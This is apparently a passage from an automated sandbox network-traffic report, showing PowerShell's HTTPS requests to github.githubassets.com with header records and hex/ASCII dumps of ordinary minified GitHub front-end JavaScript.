2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 6c 65 6e 67 74 68 2c 72 3d 74 2e 70 6f 73 69 74 69 6f 6e 2b 74 2e 74 65 78 74 2e 6c 65 6e 67 74 68 3b 74 68 69 73 2e 69 6e 70 75 74 2e 66 6f 63 75 73 28 29 3b 6c 65 74 20 61 3d 21 31 3b 74 72 79 7b 74 68 69 73 2e 69 6e 70 75 74 2e 73 65 74 53 65 6c 65 63 74 69 6f 6e 52 61 6e 67 65 28 73 2c 72 29 2c 61 3d 64 6f 63 75 6d 65 6e 74 2e 65 78 65 63 43 6f 6d 6d 61 6e 64 28 22 69 6e 73 65 72 74 54 65 78 74 22 2c 21 31 2c 6e 29 7d 63 61 74 63 68 28 65 29 7b 61 3d 21 31 7d 69 66 28 21 61 29 7b 6c 65 74 20 65 3d 74 68 69 73 2e 69 6e 70 75 74 2e 76 61 6c 75 65 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 74 2e 70 6f 73 69 74 69 6f 6e 2d 74 2e 6b 65 79 2e 6c 65 6e 67 74 68 29 2c 69 3d 74 68 69 73 2e 69 6e 70 75 74 2e 76 61 6c 75 65 2e 73 75 62 73 74 72 69 6e 67 28 74 2e 70 Data Ascii: length,r=t.position+t.text.length;this.input.focus();let a=!1;try{this.input.setSelectionRange(s,r),a=document.execCommand("insertText",!1,n)}catch(e){a=!1}if(!a){let e=this.input.value.substring(0,t.position-t.key.length),i=this.input.value.substring(t.p
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 2c 74 29 3a 74 68 69 73 2e 64 65 61 63 74 69 76 61 74 65 28 29 7d 65 6c 73 65 20 74 68 69 73 2e 6d 61 74 63 68 3d 6e 75 6c 6c 2c 74 68 69 73 2e 64 65 61 63 74 69 76 61 74 65 28 29 7d 61 70 70 72 6f 70 72 69 61 74 65 44 65 6c 61 79 28 29 7b 72 65 74 75 72 6e 20 32 35 30 7d 66 69 6e 64 4d 61 74 63 68 28 29 7b 6c 65 74 20 65 3d 74 68 69 73 2e 69 6e 70 75 74 2e 73 65 6c 65 63 74 69 6f 6e 45 6e 64 2c 74 3d 74 68 69 73 2e 69 6e 70 75 74 2e 76 61 6c 75 65 3b 66 6f 72 28 6c 65 74 20 69 20 6f 66 20 74 68 69 73 2e 65 78 70 61 6e 64 65 72 2e 67 65 74 4b 65 79 73 28 29 29 7b 6c 65 74 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 6c 65 74 20 6e 3d 65 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 74 2c 69 2d 31 29 3b 69 66 28 2d 31 3d 3d 3d 6e 7c 7c 65 2e 6c 61 73 Data Ascii: ,t):this.deactivate()}else this.match=null,this.deactivate()}appropriateDelay(){return 250}findMatch(){let e=this.input.selectionEnd,t=this.input.value;for(let i of this.expander.getKeys()){let n=function(e,t,i){let n=e.lastIndexOf(t,i-1);if(-1===n\|\|e.las
2024-09-30 13:50:20 UTC	1378	IN	Data Raw: 6f 75 73 65 64 6f 77 6e 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 6f 6e 62 6c 75 72 3d 74 68 69 73 2e 6f 6e 42 6c 75 72 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 69 6e 74 65 72 61 63 74 69 6e 67 57 69 74 68 4d 65 6e 75 3d 21 31 2c 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 61 73 74 65 22 2c 74 68 69 73 2e 6f 6e 70 61 73 74 65 29 2c 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 69 6e 70 75 74 22 2c 74 68 69 73 2e 6f 6e 69 6e 70 75 74 29 2c 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6b 65 79 64 6f 77 6e 22 2c 74 68 69 73 2e 6f 6e 6b 65 79 64 6f 77 6e 29 2c 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 62 6c 75 72 22 2c 74 68 69 73 2e 6f 6e 62 6c 75 72 29 7d 7d 2c 4d 3d 63 6c Data Ascii: ousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithMenu=!1,t.addEventListener("paste",this.onpaste),t.addEventListener("input",this.oninput),t.addEventListener("keydown",this.onkeydown),t.addEventListener("blur",this.onblur)}},M=cl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49744	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:21 UTC	366	OUT	GET /assets/element-registry-f52a50a0449b.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:21 UTC	692	IN	HTTP/1.1 200 OK Connection: close Content-Length: 55200 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Thu, 26 Sep 2024 23:41:43 GMT ETag: "0x8DCDE84C70D0BE1" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 9793 Date: Mon, 30 Sep 2024 13:50:21 GMT X-Served-By: cache-iad-kiad7000132-IAD, cache-ewr-kewr1740036-EWR X-Cache: HIT, HIT X-Cache-Hits: 34, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: dfce2736a29a19d16704d1422c39017934bf0743
2024-09-30 13:50:21 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 65 6c 65 6d 65 6e 74 2d 72 65 67 69 73 74 72 79 22 5d 2c 7b 39 31 30 33 32 3a 28 65 2c 73 2c 74 29 3d 3e 7b 76 61 72 20 5f 3d 74 28 33 39 35 39 35 29 3b 28 30 2c 5f 2e 53 65 29 28 22 61 6e 69 6d 61 74 65 64 2d 69 6d 61 67 65 22 2c 28 29 3d 3e 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 5b 74 2e 65 28 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 6f 6d 70 75 72 69 66 79 5f 64 69 73 74 5f 70 75 72 69 66 79 5f 6a 73 22 29 2c 74 2e 65 28 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["element-registry"],{91032:(e,s,t)=>{var _=t(39595);(0,_.Se)("animated-image",()=>Promise.all([t.e("vendors-node_modules_dompurify_dist_purify_js"),t.e("vendors-node_modules_github_
2024-09-30 13:50:21 UTC	1378	IN	Data Raw: 72 69 66 79 5f 64 69 73 74 5f 70 75 72 69 66 79 5f 6a 73 22 29 2c 74 2e 65 28 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 62 65 68 61 76 69 6f 72 73 5f 64 69 73 74 5f 65 73 6d 5f 69 6e 64 65 78 5f 6d 6a 73 22 29 2c 74 2e 65 28 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 73 65 6c 65 63 74 6f 72 2d 6f 62 73 65 72 76 65 72 5f 64 69 73 74 5f 69 6e 64 65 78 5f 65 73 6d 5f 6a 73 22 29 2c 74 2e 65 28 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 6c 69 74 2d 68 74 6d 6c 5f 6c 69 74 2d 68 74 6d 6c 5f 6a 73 22 29 2c 74 2e 65 28 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 65 6c 65 67 61 74 65 64 2d 65 76 65 6e 74 73 5f 64 69 73 74 5f 69 Data Ascii: rify_dist_purify_js"),t.e("vendors-node_modules_primer_behaviors_dist_esm_index_mjs"),t.e("vendors-node_modules_github_selector-observer_dist_index_esm_js"),t.e("vendors-node_modules_lit-html_lit-html_js"),t.e("vendors-node_modules_delegated-events_dist_i
2024-09-30 13:50:21 UTC	1378	IN	Data Raw: 6e 65 6e 74 73 5f 61 64 76 69 73 6f 72 69 65 73 5f 6d 65 74 72 69 63 2d 73 65 6c 65 63 74 69 6f 6e 2d 65 6c 65 6d 65 6e 74 5f 74 73 22 29 2e 74 68 65 6e 28 74 2e 62 69 6e 64 28 74 2c 39 34 38 38 35 29 29 29 2c 28 30 2c 5f 2e 53 65 29 28 22 73 65 76 65 72 69 74 79 2d 63 61 6c 63 75 6c 61 74 6f 72 22 2c 28 29 3d 3e 74 2e 65 28 22 61 70 70 5f 63 6f 6d 70 6f 6e 65 6e 74 73 5f 61 64 76 69 73 6f 72 69 65 73 5f 73 65 76 65 72 69 74 79 2d 63 61 6c 63 75 6c 61 74 6f 72 2d 65 6c 65 6d 65 6e 74 5f 74 73 22 29 2e 74 68 65 6e 28 74 2e 62 69 6e 64 28 74 2c 37 39 39 30 34 29 29 29 2c 28 30 2c 5f 2e 53 65 29 28 22 73 65 76 65 72 69 74 79 2d 73 63 6f 72 65 22 2c 28 29 3d 3e 74 2e 65 28 22 61 70 70 5f 63 6f 6d 70 6f 6e 65 6e 74 73 5f 61 64 76 69 73 6f 72 69 65 73 5f 73 65 Data Ascii: nents_advisories_metric-selection-element_ts").then(t.bind(t,94885))),(0,_.Se)("severity-calculator",()=>t.e("app_components_advisories_severity-calculator-element_ts").then(t.bind(t,79904))),(0,_.Se)("severity-score",()=>t.e("app_components_advisories_se
2024-09-30 13:50:21 UTC	1378	IN	Data Raw: 73 5f 70 65 6e 64 69 6e 67 2d 63 79 63 6c 65 2d 63 68 61 6e 67 65 73 2d 63 6f 6d 70 6f 6e 65 6e 74 2d 65 6c 65 6d 65 6e 74 5f 74 73 22 29 2e 74 68 65 6e 28 74 2e 62 69 6e 64 28 74 2c 39 35 31 35 34 29 29 29 2c 28 30 2c 5f 2e 53 65 29 28 22 63 72 65 61 74 65 2d 62 72 61 6e 63 68 22 2c 28 29 3d 3e 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 5b 74 2e 65 28 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 6f 6d 70 75 72 69 66 79 5f 64 69 73 74 5f 70 75 72 69 66 79 5f 6a 73 22 29 2c 74 2e 65 28 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 69 6e 69 2d 74 68 72 6f 74 74 6c 65 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 6d 6f 72 70 68 64 6f 6d 5f 64 69 73 74 5f 6d 6f Data Ascii: s_pending-cycle-changes-component-element_ts").then(t.bind(t,95154))),(0,_.Se)("create-branch",()=>Promise.all([t.e("vendors-node_modules_dompurify_dist_purify_js"),t.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_morphdom_dist_mo
2024-09-30 13:50:21 UTC	1378	IN	Data Raw: 70 75 72 69 66 79 5f 64 69 73 74 5f 70 75 72 69 66 79 5f 6a 73 22 29 2c 74 2e 65 28 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 62 65 68 61 76 69 6f 72 73 5f 64 69 73 74 5f 65 73 6d 5f 69 6e 64 65 78 5f 6d 6a 73 22 29 2c 74 2e 65 28 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 73 65 6c 65 63 74 6f 72 2d 6f 62 73 65 72 76 65 72 5f 64 69 73 74 5f 69 6e 64 65 78 5f 65 73 6d 5f 6a 73 22 29 2c 74 2e 65 28 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 6c 69 74 2d 68 74 6d 6c 5f 6c 69 74 2d 68 74 6d 6c 5f 6a 73 22 29 2c 74 2e 65 28 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 65 6c 65 67 61 74 65 64 2d 65 76 65 6e 74 73 5f 64 69 73 74 Data Ascii: purify_dist_purify_js"),t.e("vendors-node_modules_primer_behaviors_dist_esm_index_mjs"),t.e("vendors-node_modules_github_selector-observer_dist_index_esm_js"),t.e("vendors-node_modules_lit-html_lit-html_js"),t.e("vendors-node_modules_delegated-events_dist
2024-09-30 13:50:21 UTC	1378	IN	Data Raw: 2d 70 61 6c 65 74 74 65 2d 70 61 67 65 22 2c 28 29 3d 3e 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 5b 74 2e 65 28 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 6f 6d 70 75 72 69 66 79 5f 64 69 73 74 5f 70 75 72 69 66 79 5f 6a 73 22 29 2c 74 2e 65 28 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 68 79 64 72 6f 2d 61 6e 61 6c 79 74 69 63 73 2d 63 6c 69 65 6e 74 5f 64 69 73 74 5f 61 6e 61 6c 79 74 69 63 73 2d 63 6c 69 65 6e 74 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 2d 66 33 61 65 65 31 22 29 2c 74 2e 65 28 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 61 6c 6c 65 78 5f 63 72 63 33 32 5f 6c 69 62 5f 63 72 63 33 32 5f 65 73 6d 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f Data Ascii: -palette-page",()=>Promise.all([t.e("vendors-node_modules_dompurify_dist_purify_js"),t.e("vendors-node_modules_github_hydro-analytics-client_dist_analytics-client_js-node_modules_gith-f3aee1"),t.e("vendors-node_modules_allex_crc32_lib_crc32_esm_js-node_mo
2024-09-30 13:50:21 UTC	1378	IN	Data Raw: 66 65 65 64 2d 70 6f 73 74 2d 65 6c 65 6d 65 6e 74 5f 74 73 22 29 5d 29 2e 74 68 65 6e 28 74 2e 62 69 6e 64 28 74 2c 36 34 38 38 32 29 29 29 2c 28 30 2c 5f 2e 53 65 29 28 22 63 6f 70 69 6c 6f 74 2d 73 69 67 6e 75 70 2d 63 68 6f 6f 73 65 2d 70 6c 61 6e 2d 74 79 70 65 22 2c 28 29 3d 3e 74 2e 65 28 22 61 70 70 5f 63 6f 6d 70 6f 6e 65 6e 74 73 5f 63 6f 70 69 6c 6f 74 5f 63 6f 70 69 6c 6f 74 2d 73 69 67 6e 75 70 2d 63 68 6f 6f 73 65 2d 70 6c 61 6e 2d 74 79 70 65 2d 65 6c 65 6d 65 6e 74 5f 74 73 22 29 2e 74 68 65 6e 28 74 2e 62 69 6e 64 28 74 2c 38 36 34 36 31 29 29 29 2c 28 30 2c 5f 2e 53 65 29 28 22 63 6f 70 69 6c 6f 74 2d 62 75 73 69 6e 65 73 73 2d 73 69 67 6e 75 70 2d 73 65 61 74 2d 6d 61 6e 61 67 65 6d 65 6e 74 22 2c 28 29 3d 3e 74 2e 65 28 22 61 70 70 5f Data Ascii: feed-post-element_ts")]).then(t.bind(t,64882))),(0,_.Se)("copilot-signup-choose-plan-type",()=>t.e("app_components_copilot_copilot-signup-choose-plan-type-element_ts").then(t.bind(t,86461))),(0,_.Se)("copilot-business-signup-seat-management",()=>t.e("app_
2024-09-30 13:50:21 UTC	1378	IN	Data Raw: 29 2e 74 68 65 6e 28 74 2e 62 69 6e 64 28 74 2c 38 36 30 39 34 29 29 29 2c 28 30 2c 5f 2e 53 65 29 28 22 64 65 70 65 6e 64 61 62 6f 74 2d 61 6c 65 72 74 2d 6c 6f 61 64 2d 61 6c 6c 22 2c 28 29 3d 3e 74 2e 65 28 22 61 70 70 5f 63 6f 6d 70 6f 6e 65 6e 74 73 5f 64 65 70 65 6e 64 61 62 6f 74 5f 61 6c 65 72 74 73 5f 64 65 70 65 6e 64 61 62 6f 74 2d 61 6c 65 72 74 2d 6c 6f 61 64 2d 61 6c 6c 2d 65 6c 65 6d 65 6e 74 5f 74 73 22 29 2e 74 68 65 6e 28 74 2e 62 69 6e 64 28 74 2c 34 32 38 35 39 29 29 29 2c 28 30 2c 5f 2e 53 65 29 28 22 64 65 70 65 6e 64 61 62 6f 74 2d 61 6c 65 72 74 2d 72 6f 77 22 2c 28 29 3d 3e 74 2e 65 28 22 61 70 70 5f 63 6f 6d 70 6f 6e 65 6e 74 73 5f 64 65 70 65 6e 64 61 62 6f 74 5f 61 6c 65 72 74 73 5f 64 65 70 65 6e 64 61 62 6f 74 2d 61 6c 65 72 Data Ascii: ).then(t.bind(t,86094))),(0,_.Se)("dependabot-alert-load-all",()=>t.e("app_components_dependabot_alerts_dependabot-alert-load-all-element_ts").then(t.bind(t,42859))),(0,_.Se)("dependabot-alert-row",()=>t.e("app_components_dependabot_alerts_dependabot-aler
2024-09-30 13:50:21 UTC	1378	IN	Data Raw: 28 22 72 65 6d 6f 74 65 2d 70 61 67 69 6e 61 74 69 6f 6e 22 2c 28 29 3d 3e 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 5b 74 2e 65 28 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 6f 6d 70 75 72 69 66 79 5f 64 69 73 74 5f 70 75 72 69 66 79 5f 6a 73 22 29 2c 74 2e 65 28 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 69 6e 69 2d 74 68 72 6f 74 74 6c 65 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 74 61 63 6b 74 72 61 63 65 2d 70 61 72 73 65 72 5f 64 69 73 74 5f 73 2d 34 63 34 32 36 37 37 22 29 2c 74 2e 65 28 22 75 69 5f 70 61 63 6b 61 67 65 73 5f 66 61 69 6c 62 6f 74 5f 66 61 69 6c 62 6f 74 5f 74 73 22 29 2c 74 2e 65 28 22 61 70 70 5f 63 6f 6d 70 6f 6e 65 6e Data Ascii: ("remote-pagination",()=>Promise.all([t.e("vendors-node_modules_dompurify_dist_purify_js"),t.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-4c42677"),t.e("ui_packages_failbot_failbot_ts"),t.e("app_componen
2024-09-30 13:50:21 UTC	1378	IN	Data Raw: 69 6e 64 28 74 2c 39 36 30 34 35 29 29 29 2c 28 30 2c 5f 2e 53 65 29 28 22 6d 65 6d 65 78 2d 70 72 6f 6a 65 63 74 2d 70 69 63 6b 65 72 2d 69 6e 74 65 72 73 74 69 74 69 61 6c 22 2c 28 29 3d 3e 74 2e 65 28 22 61 70 70 5f 63 6f 6d 70 6f 6e 65 6e 74 73 5f 6d 65 6d 65 78 5f 70 72 6f 6a 65 63 74 5f 6c 69 73 74 5f 6d 65 6d 65 78 2d 70 72 6f 6a 65 63 74 2d 70 69 63 6b 65 72 2d 69 6e 74 65 72 73 74 69 74 69 61 6c 2d 65 6c 65 6d 65 6e 74 5f 74 73 22 29 2e 74 68 65 6e 28 74 2e 62 69 6e 64 28 74 2c 35 33 37 34 34 29 29 29 2c 28 30 2c 5f 2e 53 65 29 28 22 6d 65 6d 65 78 2d 70 72 6f 6a 65 63 74 2d 70 69 63 6b 65 72 2d 75 6e 6c 69 6e 6b 22 2c 28 29 3d 3e 74 2e 65 28 22 61 70 70 5f 63 6f 6d 70 6f 6e 65 6e 74 73 5f 6d 65 6d 65 78 5f 70 72 6f 6a 65 63 74 5f 6c 69 73 74 5f Data Ascii: ind(t,96045))),(0,_.Se)("memex-project-picker-interstitial",()=>t.e("app_components_memex_project_list_memex-project-picker-interstitial-element_ts").then(t.bind(t,53744))),(0,_.Se)("memex-project-picker-unlink",()=>t.e("app_components_memex_project_list_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49745	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:21 UTC	450	OUT	GET /assets/vendors-node_modules_github_catalyst_lib_index_js-node_modules_primer_live-region-element_dis-428401-bb66ac5d7472.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:21 UTC	694	IN	HTTP/1.1 200 OK Connection: close Content-Length: 13148 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Tue, 20 Aug 2024 13:22:12 GMT ETag: "0x8DCC11B1A0575DE" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 405128 Date: Mon, 30 Sep 2024 13:50:21 GMT X-Served-By: cache-iad-kiad7000064-IAD, cache-ewr-kewr1740075-EWR X-Cache: HIT, HIT X-Cache-Hits: 34, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: ff6f3126e29eadf8f50faf307c501436040a75cf
2024-09-30 13:50:21 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 63 61 74 61 6c 79 73 74 5f 6c 69 62 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 6c 69 76 65 2d 72 65 67 69 6f 6e 2d 65 6c 65 6d 65 6e 74 5f 64 69 73 2d 34 32 38 34 30 31 22 5d 2c 7b 33 39 35 39 35 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6c 65 74 20 6f 3b 6e 2e 64 28 74 2c 7b 43 46 3a 28 29 3d 3e 6d 2c 70 5f 3a 28 29 3d 3e 43 2c 46 42 3a 28 29 3d 3e 68 2c 53 65 3a 28 29 3d 3e 54 2c 61 43 3a 28 29 3d 3e 76 2c 7a 56 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_catalyst_lib_index_js-node_modules_primer_live-region-element_dis-428401"],{39595:(e,t,n)=>{let o;n.d(t,{CF:()=>m,p_:()=>C,FB:()=>h,Se:()=>T,aC:()=>v,zV
2024-09-30 13:50:21 UTC	1378	IN	Data Raw: 2b 31 29 7c 7c 22 68 61 6e 64 6c 65 45 76 65 6e 74 22 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 7b 66 6f 72 28 6c 65 74 20 74 20 6f 66 20 63 28 65 29 29 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2e 74 79 70 65 2c 6c 29 7d 66 75 6e 63 74 69 6f 6e 20 68 28 65 2c 74 29 7b 6c 65 74 20 6e 3d 65 2e 74 61 67 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 69 66 28 65 2e 73 68 61 64 6f 77 52 6f 6f 74 29 7b 66 6f 72 28 6c 65 74 20 6f 20 6f 66 20 65 2e 73 68 61 64 6f 77 52 6f 6f 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 60 5b 64 61 74 61 2d 74 61 72 67 65 74 7e 3d 22 24 7b 6e 7d 2e 24 7b 74 7d 22 5d 60 29 29 69 66 28 21 6f 2e 63 6c 6f 73 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 6f 7d 66 6f 72 28 6c 65 74 20 6f 20 6f Data Ascii: +1)\|\|"handleEvent"}}}function d(e){for(let t of c(e))e.addEventListener(t.type,l)}function h(e,t){let n=e.tagName.toLowerCase();if(e.shadowRoot){for(let o of e.shadowRoot.querySelectorAll(`[data-target~="${n}.${t}"]`))if(!o.closest(n))return o}for(let o o
2024-09-30 13:50:21 UTC	1378	IN	Data Raw: 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 6e 65 63 74 65 64 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 63 6f 6e 6e 65 63 74 65 64 43 61 6c 6c 62 61 63 6b 28 74 68 69 73 2c 6e 29 7d 3b 6c 65 74 20 6f 3d 65 2e 70 72 6f 74 6f 74 79 70 65 2e 64 69 73 63 6f 6e 6e 65 63 74 65 64 43 61 6c 6c 62 61 63 6b 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 64 69 73 63 6f 6e 6e 65 63 74 65 64 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 64 69 73 63 6f 6e 6e 65 63 74 65 64 43 61 6c 6c 62 61 63 6b 28 74 68 69 73 2c 6f 29 7d 3b 6c 65 74 20 69 3d 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 74 74 72 69 62 75 74 65 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 74 74 72 69 62 75 74 65 43 68 61 6e 67 65 64 43 Data Ascii: prototype.connectedCallback=function(){t.connectedCallback(this,n)};let o=e.prototype.disconnectedCallback;e.prototype.disconnectedCallback=function(){t.disconnectedCallback(this,o)};let i=e.prototype.attributeChangedCallback;e.prototype.attributeChangedC
2024-09-30 13:50:21 UTC	1378	IN	Data Raw: 61 6c 6c 62 61 63 6b 28 65 2c 74 29 7b 74 3f 2e 63 61 6c 6c 28 65 29 7d 61 74 74 72 69 62 75 74 65 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 28 65 2c 74 2c 6e 2c 6f 2c 69 29 7b 62 28 65 29 2c 22 64 61 74 61 2d 63 61 74 61 6c 79 73 74 22 21 3d 3d 74 26 26 69 26 26 69 2e 63 61 6c 6c 28 65 2c 74 2c 6e 2c 6f 29 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 79 28 65 2c 74 29 7b 69 66 28 21 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 65 2c 77 29 29 7b 6c 65 74 20 74 3d 65 5b 77 5d 2c 6e 3d 65 5b 77 5d 3d 6e 65 77 20 4d 61 70 3b 69 66 28 74 29 66 6f 72 28 6c 65 74 5b 65 2c 6f 5d 6f 66 20 74 29 6e 2e 73 65 74 28 65 2c 6e 65 77 20 53 65 74 28 6f 29 29 7d 6c 65 74 20 6e 3d 65 5b 77 5d 3b 72 65 74 75 72 6e Data Ascii: allback(e,t){t?.call(e)}attributeChangedCallback(e,t,n,o,i){b(e),"data-catalyst"!==t&&i&&i.call(e,t,n,o)}};function y(e,t){if(!Object.prototype.hasOwnProperty.call(e,w)){let t=e[w],n=e[w]=new Map;if(t)for(let[e,o]of t)n.set(e,new Set(o))}let n=e[w];return
